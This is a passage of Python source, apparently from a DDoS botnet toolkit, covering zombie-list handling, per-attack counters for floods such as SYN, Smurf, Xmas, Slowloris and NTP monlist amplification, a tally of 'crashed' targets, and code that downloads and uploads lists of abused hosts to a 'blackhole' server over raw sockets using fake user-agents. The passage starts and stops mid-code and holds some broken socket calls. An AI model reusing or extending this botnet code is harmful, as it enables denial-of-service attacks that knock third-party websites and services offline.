  1220. print("\n[AI] Downloading list of [Zombies] from [GitHub] server ...\n")
  1221. print('='*22 + '\n')
  1222. download_github_list = self.downloading_github_list()
  1223. except Exception as e:
  1224. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1225. return
  1226. # upload list of [Zombies] to GitHub server [20/01/2020 OK!]
  1227. if options.upload_github:
  1228. try:
  1229. self.banner()
  1230. print("\n[AI] Uploading 'zombies' to [GitHub] is simple. Follow the next steps:\n")
  1231. print('='*22 + '\n')
  1232. upload_github_list = self.uploading_github_list()
  1233. except Exception as e:
  1234. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1235. if DEBUG == True:
  1236. traceback.print_exc()
  1237. return #sys.exit(2)
  1238. # starting new zombie thread
  1239. def connect_zombies(self, zombie):
  1240. z=Zombie(self, zombie)
  1241. t = threading.Thread(target=z.connect, name=zombie)
  1242. t.start()
  1243. # single connection handling
  1244. def connect_zombie(self, zombie):
  1245. z=Zombie(self,zombie)
  1246. return z.connect()
  1247. def extract_proxy(self, proxy):
  1248. sep = ":"
  1249. proxy_ip = proxy.rsplit(sep, 1)[0]
  1250. if proxy_ip.startswith('http://'):
  1251. proxy_ip = proxy_ip.replace('http://', '')
  1252. elif proxy_ip.startswith('https://'):
  1253. proxy_ip = proxy_ip.replace('https://', '')
  1254. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  1255. proxy_ip = 'localhost'
  1256. proxy_port = proxy.rsplit(sep, 1)[1]
  1257. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  1258. return proxy_url
  1259. def proxy_transport(self, proxy):
  1260. proxy_url = self.extract_proxy(proxy)
  1261. proxy = urllib.request.ProxyHandler({'https': proxy_url})
  1262. opener = urllib.request.build_opener(proxy)
  1263. urllib.request.install_opener(opener)
  1264. def check_mothership_chargo(self):
  1265. f = open(self.zombies_file)
  1266. self.zombies = f.readlines()
  1267. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1268. self.list_zombies = []
  1269. for zombie in self.zombies:
  1270. t = urlparse(zombie)
  1271. name_zombie = t.netloc
  1272. if name_zombie == "":
  1273. name_zombie = zombie
  1274. self.list_zombies.append(name_zombie)
  1275. self.num_zombies = str(len(self.zombies))
  1276. f.close()
  1277. f = open(self.aliens_file)
  1278. self.aliens = f.readlines()
  1279. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1280. self.list_aliens = []
  1281. for alien in self.aliens:
  1282. t = urlparse(alien)
  1283. name_alien = t.netloc
  1284. if name_alien == "":
  1285. name_alien = alien
  1286. self.list_aliens.append(name_alien)
  1287. self.num_aliens = str(len(self.aliens))
  1288. f.close()
  1289. f = open(self.droids_file)
  1290. self.droids = f.readlines()
  1291. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1292. self.list_droids = []
  1293. for droid in self.droids:
  1294. t = urlparse(droid)
  1295. name_droid = t.netloc
  1296. if name_droid == "":
  1297. name_droid = droid
  1298. self.list_droids.append(name_droid)
  1299. self.num_droids = str(len(self.droids))
  1300. f.close()
  1301. f = open(self.ucavs_file)
  1302. self.ucavs = f.readlines()
  1303. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1304. self.list_ucavs = []
  1305. for ucav in self.ucavs:
  1306. t = urlparse(ucav)
  1307. name_ucav = t.netloc
  1308. if name_ucav == "":
  1309. name_ucav = ucav
  1310. self.list_ucavs.append(name_ucav)
  1311. self.num_ucavs = str(len(self.ucavs))
  1312. f.close()
  1313. f = open(self.rpcs_file)
  1314. self.rpcs = f.readlines()
  1315. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1316. self.list_rpcs = []
  1317. for rpc in self.rpcs:
  1318. t = urlparse(rpc)
  1319. name_rpc = t.netloc
  1320. if name_rpc == "":
  1321. name_rpc = rpc
  1322. self.list_rpcs.append(name_rpc)
  1323. self.num_rpcs = str(len(self.rpcs))
  1324. f.close()
  1325. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1326. return self.total_botnet
  1327. def update_flying_stats(self):
  1328. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  1329. with open(self.mothership_stats_file, "w") as f:
  1330. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "xmas": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "crashed": "0"}, f, indent=4) # starting reset
  1331. stats_json_file = open(self.mothership_stats_file, "r")
  1332. data = json.load(stats_json_file)
  1333. stats_json_file.close()
  1334. aflying = data["flying"]
  1335. aflying = str(int(aflying) + 1) # add new flying time
  1336. data["flying"] = aflying
  1337. stats_json_file = open(self.mothership_stats_file, "w+")
  1338. stats_json_file.write(json.dumps(data))
  1339. stats_json_file.close()
  1340. def update_mothership_stats(self):
  1341. stats_json_file = open(self.mothership_stats_file, "r")
  1342. data = json.load(stats_json_file)
  1343. stats_json_file.close()
  1344. acompleted = data["completed"]
  1345. acompleted = str(int(acompleted) + 1) # add new completed attack
  1346. data["completed"] = acompleted
  1347. stats_json_file = open(self.mothership_stats_file, "w+")
  1348. stats_json_file.write(json.dumps(data))
  1349. stats_json_file.close()
  1350. def update_targets_crashed(self):
  1351. stats_json_file = open(self.mothership_stats_file, "r")
  1352. data = json.load(stats_json_file)
  1353. stats_json_file.close()
  1354. tcrashed = data["crashed"]
  1355. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  1356. data["crashed"] = tcrashed
  1357. stats_json_file = open(self.mothership_stats_file, "w+")
  1358. stats_json_file.write(json.dumps(data))
  1359. stats_json_file.close()
  1360. def update_missions_stats(self):
  1361. stats_json_file = open(self.mothership_stats_file, "r")
  1362. data = json.load(stats_json_file)
  1363. stats_json_file.close()
  1364. missions = data["missions"]
  1365. missions = str(int(missions) + 1) # add new mission target
  1366. data["missions"] = missions
  1367. stats_json_file = open(self.mothership_stats_file, "w+")
  1368. stats_json_file.write(json.dumps(data))
  1369. stats_json_file.close()
  1370. def update_scanner_stats(self, num):
  1371. stats_json_file = open(self.mothership_stats_file, "r")
  1372. data = json.load(stats_json_file)
  1373. stats_json_file.close()
  1374. scanner = data["scanner"]
  1375. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  1376. data["scanner"] = scanner
  1377. stats_json_file = open(self.mothership_stats_file, "w+")
  1378. stats_json_file.write(json.dumps(data))
  1379. stats_json_file.close()
  1380. def update_transferred_stats(self, num):
  1381. stats_json_file = open(self.mothership_stats_file, "r")
  1382. data = json.load(stats_json_file)
  1383. stats_json_file.close()
  1384. transferred = data["transferred"]
  1385. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  1386. data["transferred"] = transferred
  1387. stats_json_file = open(self.mothership_stats_file, "w+")
  1388. stats_json_file.write(json.dumps(data))
  1389. stats_json_file.close()
  1390. def update_max_chargo(self, chargo):
  1391. stats_json_file = open(self.mothership_stats_file, "r")
  1392. data = json.load(stats_json_file)
  1393. stats_json_file.close()
  1394. amax_chargo = data["max_chargo"]
  1395. if int(chargo) > int(amax_chargo): # new max chargo found
  1396. amax_chargo = chargo # add new max chargo
  1397. else:
  1398. amax_chargo = data["max_chargo"]
  1399. data["max_chargo"] = amax_chargo
  1400. stats_json_file = open(self.mothership_stats_file, "w+")
  1401. stats_json_file.write(json.dumps(data))
  1402. stats_json_file.close()
  1403. def update_loic_stats(self):
  1404. stats_json_file = open(self.mothership_stats_file, "r")
  1405. data = json.load(stats_json_file)
  1406. stats_json_file.close()
  1407. aloic = data["loic"]
  1408. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  1409. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  1410. data["loic"] = aloic
  1411. stats_json_file = open(self.mothership_stats_file, "w+")
  1412. stats_json_file.write(json.dumps(data))
  1413. stats_json_file.close()
  1414. def update_loris_stats(self):
  1415. stats_json_file = open(self.mothership_stats_file, "r")
  1416. data = json.load(stats_json_file)
  1417. stats_json_file.close()
  1418. aloris = data["loris"]
  1419. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  1420. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  1421. data["loris"] = aloris
  1422. stats_json_file = open(self.mothership_stats_file, "w+")
  1423. stats_json_file.write(json.dumps(data))
  1424. stats_json_file.close()
  1425. def update_ufosyn_stats(self):
  1426. stats_json_file = open(self.mothership_stats_file, "r")
  1427. data = json.load(stats_json_file)
  1428. stats_json_file.close()
  1429. aufosyn = data["ufosyn"]
  1430. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  1431. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  1432. data["ufosyn"] = aufosyn
  1433. stats_json_file = open(self.mothership_stats_file, "w+")
  1434. stats_json_file.write(json.dumps(data))
  1435. stats_json_file.close()
  1436. def update_spray_stats(self):
  1437. stats_json_file = open(self.mothership_stats_file, "r")
  1438. data = json.load(stats_json_file)
  1439. stats_json_file.close()
  1440. aspray = data["spray"]
  1441. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  1442. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  1443. data["spray"] = aspray
  1444. stats_json_file = open(self.mothership_stats_file, "w+")
  1445. stats_json_file.write(json.dumps(data))
  1446. stats_json_file.close()
  1447. def update_smurf_stats(self):
  1448. stats_json_file = open(self.mothership_stats_file, "r")
  1449. data = json.load(stats_json_file)
  1450. stats_json_file.close()
  1451. asmurf = data["smurf"]
  1452. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  1453. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  1454. data["smurf"] = asmurf
  1455. stats_json_file = open(self.mothership_stats_file, "w+")
  1456. stats_json_file.write(json.dumps(data))
  1457. stats_json_file.close()
  1458. def update_xmas_stats(self):
  1459. stats_json_file = open(self.mothership_stats_file, "r")
  1460. data = json.load(stats_json_file)
  1461. stats_json_file.close()
  1462. axmas = data["xmas"]
  1463. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  1464. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  1465. data["xmas"] = axmas
  1466. stats_json_file = open(self.mothership_stats_file, "w+")
  1467. stats_json_file.write(json.dumps(data))
  1468. stats_json_file.close()
  1469. def update_nuke_stats(self):
  1470. stats_json_file = open(self.mothership_stats_file, "r")
  1471. data = json.load(stats_json_file)
  1472. stats_json_file.close()
  1473. anuke = data["nuke"]
  1474. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  1475. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  1476. data["nuke"] = anuke
  1477. stats_json_file = open(self.mothership_stats_file, "w+")
  1478. stats_json_file.write(json.dumps(data))
  1479. stats_json_file.close()
  1480. def update_tachyon_stats(self):
  1481. stats_json_file = open(self.mothership_stats_file, "r")
  1482. data = json.load(stats_json_file)
  1483. stats_json_file.close()
  1484. atachyon = data["tachyon"]
  1485. atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
  1486. self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
  1487. data["tachyon"] = atachyon
  1488. stats_json_file = open(self.mothership_stats_file, "w+")
  1489. stats_json_file.write(json.dumps(data))
  1490. stats_json_file.close()
  1491. def update_monlist_stats(self):
  1492. stats_json_file = open(self.mothership_stats_file, "r")
  1493. data = json.load(stats_json_file)
  1494. stats_json_file.close()
  1495. amonlist = data["monlist"]
  1496. amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats
  1497. self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats
  1498. data["monlist"] = amonlist
  1499. stats_json_file = open(self.mothership_stats_file, "w+")
  1500. stats_json_file.write(json.dumps(data))
  1501. stats_json_file.close()
  1502. def uploading_list(self):
  1503. from io import BytesIO
  1504. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1505. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1506. abductions = "botnet/abductions.txt.gz"
  1507. troops = "botnet/troops.txt.gz"
  1508. robots = "botnet/robots.txt.gz"
  1509. drones = "botnet/drones.txt.gz"
  1510. reflectors = "botnet/reflectors.txt.gz"
  1511. crystals = "botnet/crystals.txt.gz"
  1512. warps = "botnet/warps.txt.gz"
  1513. if self.options.timeout: # set timeout
  1514. try:
  1515. timeout = int(self.options.timeout)
  1516. except:
  1517. timeout = 5
  1518. else:
  1519. timeout = 5
  1520. if timeout < 1:
  1521. timeout = 5
  1522. try:
  1523. print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
  1524. if self.options.forcessl:
  1525. if self.options.proxy: # set proxy
  1526. self.proxy_transport(options.proxy)
  1527. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1528. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1529. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1530. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1531. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1532. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1533. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1534. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1535. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1536. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1537. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1538. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1539. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1540. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1541. else:
  1542. if self.options.proxy: # set proxy
  1543. self.proxy_transport(options.proxy)
  1544. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1545. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1546. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1547. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1548. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1549. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1550. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1551. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1552. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1553. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1554. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1555. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1556. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1557. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1558. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "":
  1559. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  1560. print('-'*12 + '\n')
  1561. print("[Error] [AI] Unable to uploading list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
  1562. return
  1563. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  1564. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  1565. f_out_abductions = open('botnet/abductions.txt', 'wb')
  1566. f_out_abductions.write(f_in_abductions.read())
  1567. f_in_abductions.close()
  1568. f_out_abductions.close()
  1569. num_zombies = 0
  1570. with open('botnet/abductions.txt') as f:
  1571. for _ in f:
  1572. num_zombies = num_zombies + 1
  1573. print("\n[Info] [Zombies] on [Blackhole]: "+ str(num_zombies))
  1574. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  1575. f_out_robots = open('botnet/robots.txt', 'wb')
  1576. f_out_robots.write(f_in_robots.read())
  1577. f_in_robots.close()
  1578. f_out_robots.close()
  1579. num_robots = 0
  1580. with open('botnet/robots.txt') as f:
  1581. for _ in f:
  1582. num_robots = num_robots + 1
  1583. print("[Info] [Droids] on [Blackhole] : "+ str(num_robots))
  1584. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  1585. f_out_troops = open('botnet/troops.txt', 'wb')
  1586. f_out_troops.write(f_in_troops.read())
  1587. f_in_troops.close()
  1588. f_out_troops.close()
  1589. num_aliens = 0
  1590. with open('botnet/aliens.txt') as f:
  1591. for _ in f:
  1592. num_aliens = num_aliens + 1
  1593. print("[Info] [Aliens] on [Blackhole] : "+ str(num_aliens))
  1594. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  1595. f_out_drones = open('botnet/drones.txt', 'wb')
  1596. f_out_drones.write(f_in_drones.read())
  1597. f_in_drones.close()
  1598. f_out_drones.close()
  1599. num_drones = 0
  1600. with open('botnet/drones.txt') as f:
  1601. for _ in f:
  1602. num_drones = num_drones + 1
  1603. print("[Info] [UCAVs] on [Blackhole] : "+ str(num_drones))
  1604. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  1605. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  1606. f_out_reflectors.write(f_in_reflectors.read())
  1607. f_in_reflectors.close()
  1608. f_out_reflectors.close()
  1609. num_reflectors = 0
  1610. with open('botnet/reflectors.txt') as f:
  1611. for _ in f:
  1612. num_reflectors = num_reflectors + 1
  1613. print("[Info] [X-RPCs] on [Blackhole] : "+ str(num_reflectors))
  1614. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  1615. f_out_crystals = open('botnet/crystals.txt', 'wb')
  1616. f_out_crystals.write(f_in_crystals.read())
  1617. f_in_crystals.close()
  1618. f_out_crystals.close()
  1619. num_crystals = 0
  1620. with open('botnet/crystals.txt') as f:
  1621. for _ in f:
  1622. num_crystals = num_crystals + 1
  1623. print("[Info] [NTPs] on [Blackhole] : "+ str(num_crystals))
  1624. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  1625. f_out_warps = open('botnet/warps.txt', 'wb')
  1626. f_out_warps.write(f_in_warps.read())
  1627. f_in_warps.close()
  1628. f_out_warps.close()
  1629. num_warps = 0
  1630. with open('botnet/warps.txt') as f:
  1631. for _ in f:
  1632. num_warps = num_warps + 1
  1633. print("[Info] [DNSs] on [Blackhole] : "+ str(num_warps))
  1634. print('-'*12 + '\n')
  1635. if not self.options.forceyes:
  1636. update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  1637. print('-'*25)
  1638. else:
  1639. update_reply = "Y"
  1640. if update_reply == "n" or update_reply == "N":
  1641. os.remove('botnet/abductions.txt') # remove abductions file
  1642. os.remove('botnet/troops.txt') # remove troops file
  1643. os.remove('botnet/robots.txt') # remove robots file
  1644. os.remove('botnet/drones.txt') # remove drones file
  1645. os.remove('botnet/reflectors.txt') # remove reflectors file
  1646. os.remove('botnet/crystals.txt') # remove crystals file
  1647. os.remove('botnet/warps.txt') # remove warps file
  1648. print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
  1649. return
  1650. else:
  1651. print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies
  1652. print('='*35)
  1653. zombies = self.extract_zombies()
  1654. if not zombies:
  1655. return
  1656. test = self.testing(zombies)
  1657. zombies_community = []
  1658. zombies_added = 0
  1659. f = open('botnet/abductions.txt')
  1660. abductions = f.readlines()
  1661. abductions = [abduction.strip() for abduction in abductions]
  1662. f.close()
  1663. fz = open(self.zombies_file)
  1664. zombies = fz.readlines()
  1665. zombies = [zombie.strip() for zombie in zombies]
  1666. fz.close()
  1667. for zombie in zombies:
  1668. if zombie not in abductions:
  1669. zombies_community.append(zombie)
  1670. zombies_added = zombies_added + 1
  1671. else:
  1672. pass
  1673. print("[Info] [AI] New [Zombies] found: " + str(zombies_added))
  1674. aliens = self.extract_aliens()
  1675. if not aliens:
  1676. return
  1677. aliens_community = []
  1678. aliens_added = 0
  1679. f = open('botnet/troops.txt')
  1680. troops = f.readlines()
  1681. troops = [troop.strip() for troop in troops]
  1682. f.close()
  1683. fz = open(self.aliens_file)
  1684. aliens = fz.readlines()
  1685. aliens = [alien.strip() for alien in aliens]
  1686. fz.close()
  1687. for alien in aliens:
  1688. if alien not in troops:
  1689. aliens_community.append(alien)
  1690. aliens_added = aliens_added + 1
  1691. else:
  1692. pass
  1693. print("[Info] [AI] New [Aliens] found : " + str(aliens_added))
  1694. droids = self.extract_droids()
  1695. if not droids:
  1696. return
  1697. droids_community = []
  1698. droids_added = 0
  1699. f = open('botnet/robots.txt')
  1700. robots = f.readlines()
  1701. robots = [robot.strip() for robot in robots]
  1702. f.close()
  1703. fz = open(self.droids_file)
  1704. droids = fz.readlines()
  1705. droids = [droid.strip() for droid in droids]
  1706. fz.close()
  1707. for droid in droids:
  1708. if droid not in robots:
  1709. droids_community.append(droid)
  1710. droids_added = droids_added + 1
  1711. else:
  1712. pass
  1713. print("[Info] [AI] New [Droids] found : " + str(droids_added))
  1714. ucavs = self.extract_ucavs()
  1715. if not ucavs:
  1716. return
  1717. ucavs_community = []
  1718. ucavs_added = 0
  1719. f = open('botnet/drones.txt')
  1720. drones = f.readlines()
  1721. drones = [drone.strip() for drone in drones]
  1722. f.close()
  1723. fz = open(self.ucavs_file)
  1724. ucavs = fz.readlines()
  1725. ucavs = [ucav.strip() for ucav in ucavs]
  1726. fz.close()
  1727. for ucav in ucavs:
  1728. if ucav not in drones:
  1729. ucavs_community.append(ucav)
  1730. ucavs_added = ucavs_added + 1
  1731. else:
  1732. pass
  1733. print("[Info] [AI] New [UCAVs] found : " + str(ucavs_added))
  1734. rpcs = self.extract_rpcs()
  1735. if not rpcs:
  1736. return
  1737. rpcs_community = []
  1738. rpcs_added = 0
  1739. f = open('botnet/reflectors.txt')
  1740. reflectors = f.readlines()
  1741. reflectors = [reflector.strip() for reflector in reflectors]
  1742. f.close()
  1743. fz = open(self.rpcs_file)
  1744. rpcs = fz.readlines()
  1745. rpcs = [rpc.strip() for rpc in rpcs]
  1746. fz.close()
  1747. for rpc in rpcs:
  1748. if rpc not in reflectors:
  1749. rpcs_community.append(rpc)
  1750. rpcs_added = rpcs_added + 1
  1751. else:
  1752. pass
  1753. print("[Info] [AI] New [X-RPCs] found : " + str(rpcs_added))
  1754. ntps = self.extract_ntps()
  1755. if not ntps:
  1756. return
  1757. ntps_community = []
  1758. ntps_added = 0
  1759. f = open('botnet/crystals.txt')
  1760. crystals = f.readlines()
  1761. crystals = [crystal.strip() for crystal in crystals]
  1762. f.close()
  1763. fz = open(self.ntps_file)
  1764. ntps = fz.readlines()
  1765. ntps = [ntp.strip() for ntp in ntps]
  1766. fz.close()
  1767. for ntp in ntps:
  1768. if ntp not in crystals:
  1769. ntps_community.append(ntp)
  1770. ntps_added = ntps_added + 1
  1771. else:
  1772. pass
  1773. print("[Info] [AI] New [NTPs] found : " + str(ntps_added))
  1774. dnss = self.extract_dnss()
  1775. if not dnss:
  1776. return
  1777. dnss_community = []
  1778. dnss_added = 0
  1779. f = open('botnet/warps.txt')
  1780. warps = f.readlines()
  1781. warps = [warp.strip() for warp in warps]
  1782. f.close()
  1783. fz = open(self.dnss_file)
  1784. dnss = fz.readlines()
  1785. dnss = [dns.strip() for dns in dnss]
  1786. fz.close()
  1787. for dns in dnss:
  1788. if dns not in warps:
  1789. dnss_community.append(dns)
  1790. dnss_added = dnss_added + 1
  1791. else:
  1792. pass
  1793. print("[Info] [AI] New [DNSs] found : " + str(dnss_added))
  1794. print('-'*12 + '\n')
  1795. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0: # not any zombie
  1796. os.remove('botnet/abductions.txt') # remove abductions file
  1797. os.remove('botnet/troops.txt') # remove troops file
  1798. os.remove('botnet/robots.txt') # remove robots file
  1799. os.remove('botnet/drones.txt') # remove ucavs file
  1800. os.remove('botnet/reflectors.txt') # remove rpcs file
  1801. os.remove('botnet/crystals.txt') # remove crystals file
  1802. os.remove('botnet/warps.txt') # remove warps file
  1803. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  1804. return
  1805. else:
  1806. fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
  1807. for zombie in zombies_community:
  1808. fc.write(zombie.strip()+"\n")
  1809. fc.close()
  1810. os.remove('botnet/abductions.txt') # remove abductions file
  1811. fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
  1812. for alien in aliens_community:
  1813. fc.write(alien.strip()+"\n")
  1814. fc.close()
  1815. os.remove('botnet/troops.txt') # remove troops file
  1816. fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
  1817. for droid in droids_community:
  1818. fc.write(droid.strip()+"\n")
  1819. fc.close()
  1820. os.remove('botnet/robots.txt') # remove robots file
  1821. fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
  1822. for ucav in ucavs_community:
  1823. fc.write(ucav.strip()+"\n")
  1824. fc.close()
  1825. os.remove('botnet/drones.txt') # remove drones file
  1826. fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
  1827. for rpc in rpcs_community:
  1828. fc.write(rpc.strip()+"\n")
  1829. fc.close()
  1830. os.remove('botnet/reflectors.txt') # remove reflectors file
  1831. fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
  1832. for ntp in ntps_community:
  1833. fc.write(ntp.strip()+"\n")
  1834. fc.close()
  1835. os.remove('botnet/crystals.txt') # remove crystals file
  1836. fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
  1837. for dns in dnss_community:
  1838. fc.write(dns.strip()+"\n")
  1839. fc.close()
  1840. os.remove('botnet/warps.txt') # remove warps file
  1841. print("[Info] [AI] Starting to upload new [Zombies]...\n")
  1842. try: # open a socket and send data to the blackhole reciever port
  1843. host = self.blackhole
  1844. cport = 9991
  1845. mport = 9990
  1846. try:
  1847. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  1848. cs.connect(host, cport)
  1849. cs.send("SEND " + 'community_zombies.txt.gz')
  1850. cs.close()
  1851. f = open('botnet/community_zombies.txt.gz', "rb")
  1852. data = f.read()
  1853. f.close()
  1854. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1855. ms.connect(host, mport)
  1856. ms.send(data)
  1857. ms.close()
  1858. os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer
  1859. time.sleep(1)
  1860. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1861. cs.connect(host, cport)
  1862. cs.send("SEND " + 'community_aliens.txt.gz')
  1863. cs.close()
  1864. f = open('botnet/community_aliens.txt.gz', "rb")
  1865. data = f.read()
  1866. f.close()
  1867. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1868. ms.connect(host, mport)
  1869. ms.send(data)
  1870. ms.close()
  1871. os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer
  1872. time.sleep(1)
  1873. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1874. cs.connect(host, cport)
  1875. cs.send("SEND " + 'community_robots.txt.gz')
  1876. cs.close()
  1877. f = open('botnet/community_droids.txt.gz', "rb")
  1878. data = f.read()
  1879. f.close()
  1880. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1881. ms.connect(host, mport)
  1882. ms.send(data)
  1883. ms.close()
  1884. os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer
  1885. time.sleep(1)
  1886. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1887. cs.connect(host, cport)
  1888. cs.send("SEND " + 'community_ucavs.txt.gz')
  1889. cs.close()
  1890. f = open('botnet/community_ucavs.txt.gz', "rb")
  1891. data = f.read()
  1892. f.close()
  1893. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1894. ms.connect(host, mport)
  1895. ms.send(data)
  1896. ms.close()
  1897. os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  1898. time.sleep(1)
  1899. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1900. cs.connect(host, cport)
  1901. cs.send("SEND " + 'community_rpcs.txt.gz')
  1902. cs.close()
  1903. f = open('botnet/community_rpcs.txt.gz', "rb")
  1904. data = f.read()
  1905. f.close()
  1906. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1907. ms.connect(host, mport)
  1908. ms.send(data)
  1909. ms.close()
  1910. os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  1911. time.sleep(1)
  1912. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1913. cs.connect(host, cport)
  1914. cs.send("SEND " + 'community_ntps.txt.gz')
  1915. cs.close()
  1916. f = open('botnet/community_ntps.txt.gz', "rb")
  1917. data = f.read()
  1918. f.close()
